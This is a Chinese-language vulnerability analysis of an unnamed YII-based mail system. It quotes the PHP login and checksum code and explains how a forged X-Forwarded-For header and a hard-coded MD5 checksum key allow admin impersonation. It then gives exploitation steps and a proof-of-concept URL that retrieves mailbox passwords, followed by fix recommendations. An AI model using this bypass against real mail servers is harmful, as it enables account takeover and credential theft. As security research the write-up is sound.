某邮件系统后台管理员任意登录分析
字数 1176 2025-08-10 00:24:04
某邮件系统后台管理员任意登录漏洞分析与利用
0x00 漏洞概述
本文详细分析某基于YII框架开发的邮件系统中存在的后台管理员任意登录漏洞。该漏洞源于系统模拟登录功能的设计缺陷,结合IP校验绕过和校验和构造问题,导致攻击者可以伪造身份登录系统后台。
0x01 YII框架路由基础
路由格式
YII框架支持两种URL构造格式:
-
默认格式:
/index.php?r=controller/action¶m=value- 示例:
/index.php?r=post/view&id=100 - 路由为
post/view,参数id为100
- 示例:
-
漂亮格式:
/index.php/controller/action/param/value- 示例:
/index.php/post/100 - 简化了URL结构
- 示例:
MVC模式访问
要访问API目录下的controller中的AbcController.php的add()方法,可构造:
http://127.0.0.1/api/index.php?r=abc/add
0x02 漏洞分析
关键文件位置
- 模拟登录方法:
api/controllers/PostController.php中的mockLogin() - 验证方法:
api/classes/ApiController.php中的checkServerTypeParams()
模拟登录流程分析
mockLogin()方法
public function mockLogin() {
$language = $this->getParamFromRequest("language");
$name = $this->getParamFromRequest('domain');
if(isset($name) && isset($language)) {
$username = "admin";
// 语言参数校验
if(!in_array($language, array("cn", "tw", "en"))) {
$this->returnErrorCode(CommonCode::COMMON_PARAM_ERROR, array('{0}'=>'language'));
}
// 域名长度校验
if(!ParameterChecker::checkLength($name, Constants::DOMAIN_NAME_MAX_LENGTH)) {
$this->returnErrorCode(CommonCode::COMMON_DOMAIN_LENGTH_WRONG);
}
$domain = ServiceFactory::getDomainService()->getDomainByName(PunyCode::encode(strtolower($name)));
if($domain == null) {
$this->returnErrorCode(CommonCode::COMMON_DOMAIN_IS_NOT_EXISTS);
}
$domainName = PunyCode::encode($name);
$password = (empty($domain)) ? "" : $domain["po_pwd"];
$otime = time();
$sysflag = 'sysmanage';
// 构造校验和
$checksum = md5($sysflag.$username.$domainName.$password.$language.time().Config::MONI_CHECKSUM_KEY);
// 构造登录URL
$url = "http://".ClientUtils::getHttpHost()."/post/post.php?r=site/analogLogin&sysflag=$sysflag&lan=$language&domain=$domainName&username=$username&checksum=$checksum&otime=$otime";
header("location: $url");
} else {
$this->returnErrorCode(CommonCode::COMMON_PARAM_INCOMPLETE);
}
}
验证流程分析
private function checkServerTypeParams() {
// IP白名单校验
if(!in_array(ClientUtils::getClientIP(), Config::getApiAllowUserIps())) {
$this->returnErrorCode(CommonCode::COMMON_ILLEGAL_IP_SOURCE);
}
$id = $this->getParamFromRequest('id');
$time = $this->getParamFromRequest('otime');
// 时间参数校验
if(!ParameterChecker::checkLength($time, 20)) {
$this->returnErrorCode(CommonCode::COMMON_ILLEGAL_CHECK_PARAM);
}
if(!ParameterChecker::checkIsDate($time)) {
$this->returnErrorCode(CommonCode::COMMON_ILLEGAL_CHECK_PARAM);
}
$checkSum = $this->getParamFromRequest('ochecksum');
if(!ParameterChecker::checkLength($checkSum, 32)) {
$this->returnErrorCode(CommonCode::COMMON_ILLEGAL_CHECK_PARAM);
}
// 校验和验证
$md5String = md5($id.$time.Config::API_CHECKSUM_KEY);
if($md5String != $checkSum) {
$this->returnErrorCode(CommonCode::COMMON_ILLEGAL_CHECKSUM);
}
}
关键漏洞点
-
IP校验绕过:
getApiAllowUserIps()方法检查X-Forwarded-For头- 可通过伪造HTTP头绕过IP限制
-
校验和构造:
ochecksum参数由id、otime和API_CHECKSUM_KEY的MD5构成API_CHECKSUM_KEY为硬编码值,可通过逆向获取
-
固定ID问题:
- 存在固定ID值
cm用于模拟登录模式
- 存在固定ID值
0x03 漏洞利用
利用条件
- 获取系统的
API_CHECKSUM_KEY(通过逆向或信息泄露) - 能够发送HTTP请求并伪造
X-Forwarded-For头
利用步骤
-
构造有效的
otime参数(如"2021-03-11") -
计算校验和:
$ochecksum = md5("cm" . "2021-03-11" . Config::API_CHECKSUM_KEY);示例结果:
083d71127d5ad99f8907358db2c8320a -
伪造
X-Forwarded-For头以绕过IP检查 -
发送请求:
http://mail.a.com/api/index.php?r=Mailbox/getPassword id=cm& otime=2021-03-11& ochecksum=083d71127d5ad99f8907358db2c8320a& language=cn& domain=a.com& mailbox=admin@a.com
完整POC
http://mail.a.com/api/index.php?r=Mailbox/getPasswordid=cm&otime=2021-03-11&ochecksum=083d71127d5ad99f8907358db2c8320a&language=cn&domain=a.com&mailbox=admin@a.com
0x04 修复建议
-
加强IP验证:
- 不要仅依赖
X-Forwarded-For头 - 实现多层次的IP验证机制
- 不要仅依赖
-
改进校验和机制:
- 使用动态生成的密钥而非硬编码
- 增加时效性验证(如时间戳有效期)
-
权限控制:
- 模拟登录功能应限制在特定环境使用
- 增加二次验证机制
-
输入验证:
- 对所有输入参数进行严格验证
- 实现CSRF防护机制
-
日志监控:
- 记录所有模拟登录尝试
- 设置异常行为告警